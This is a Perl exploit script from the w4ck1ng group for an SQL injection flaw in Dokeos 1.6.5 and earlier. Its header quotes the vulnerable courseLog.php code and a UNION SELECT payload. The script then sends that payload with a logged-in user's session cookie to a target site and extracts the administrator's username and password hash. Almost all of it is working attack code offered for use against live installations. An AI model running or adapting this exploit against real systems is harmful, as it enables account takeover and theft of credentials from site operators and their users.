#!/usr/bin/perl -w

#################################################################################
#                    #
#                Dokeos <= 1.6.5 SQL Injection Exploit      #
#                    #
# Discovered by: Silentz              #
# Payload: Admin Username & Hash Retrieval          #
# Website: http://www.w4ck1ng.com            #
#                     #
# Vulnerable Code (courseLog.php):             #
#                    #
#  if ($_GET['scormcontopen'])            #
#  {                  #
#  include_once(api_get_library_path().'/database.lib.php');    #
#  include('../scorm/XMLencode.php');          #
#  $TBL_SCORM_MAIN     = Database::get_scorm_main_table();      #
#  $result = api_sql_query("SELECT contentTitle FROM $TBL_SCORM_MAIN   #
#  where (contentId=".$_GET['scormcontopen'].")");        #
#  $ar = mysql_fetch_array($result);          #
#  $contentTitle = $ar['contentTitle'];          #
#  $path=api_get_path('SYS_COURSE_PATH');          #
#  $file=$path.$_cid.'/scorm'.$contentTitle.'/imsmanifest.xml';    #
#  $charset = GetXMLEncode($file);            #
#  header('Content-Type: text/html; charset='. $charset);      #
#  }                  #
#                    #
# PoC: /claroline/tracking/courseLog.php?scormcontopen=-999) UNION SELECT   #
#      CONCAT(char(58),char(58),username,char(58),char(58),password,char(58),  #
#      char(58)) FROM user WHERE user_id=1 /*          #
#                    #
#                     #
# Subject To: Having an already existant student/teacher account    #
#                    #
# GoogleDork: Get your own!              #
# Shoutz: The entire w4ck1ng community            #
#                    #
# Notes: You need to obtain your current SESSION_ID; use your browser to   #
#   disclose or find an XSS.            #
#                    #
#################################################################################

use LWP::UserAgent;
if (@ARGV < 2){
print "-------------------------------------------------------------------------\r\n";
print "                Dokeos <= 1.6.5 SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: w4ck1ng_dokeos.pl [PATH] [SESSION_ID]\r\n\r\n";
print "[PATH] = Path where Dokeos is located\r\n";
print "[SESSION_ID] = Session identifier of logged on user\r\n\r\n";
print "e.g. w4ck1ng_dokeos.pl http://victim.com/dokeos/ cjjjauie95inbmo5fim8m93vo1\r\n";
print "-------------------------------------------------------------------------\r\n";
print "                 http://www.w4ck1ng.com\r\n";
print "                        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$cookie = "$ARGV[1];";
$host = $ARGV[0] . "claroline/tracking/courseLog.php?scormcontopen=-999) UNION SELECT CONCAT(char(58),char(58),username,char(58),char(58),password,char(58),char(58)) FROM user WHERE user_id=1 /*";

my @cookie = ('Cookie' => "dk_sid=$cookie;");
my $res = $b->get($host, @cookie);

$answer = $res->content;
if ($answer =~ /scorm::(.*?)::/){
print "-------------------------------------------------------------------------\r\n";
print "                Dokeos <= 1.6.5 SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "[+] Admin User : $1\n";
}

if ($answer =~/::([0-9a-fA-F]{32})::\/imsmanifest.xml/){
print "[+] Admin Hash : $1\n";
print "-------------------------------------------------------------------------\r\n";
print "                 http://www.w4ck1ng.com\r\n";
print "                        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
}

else {
  print "\nExploit Failed...\n";
}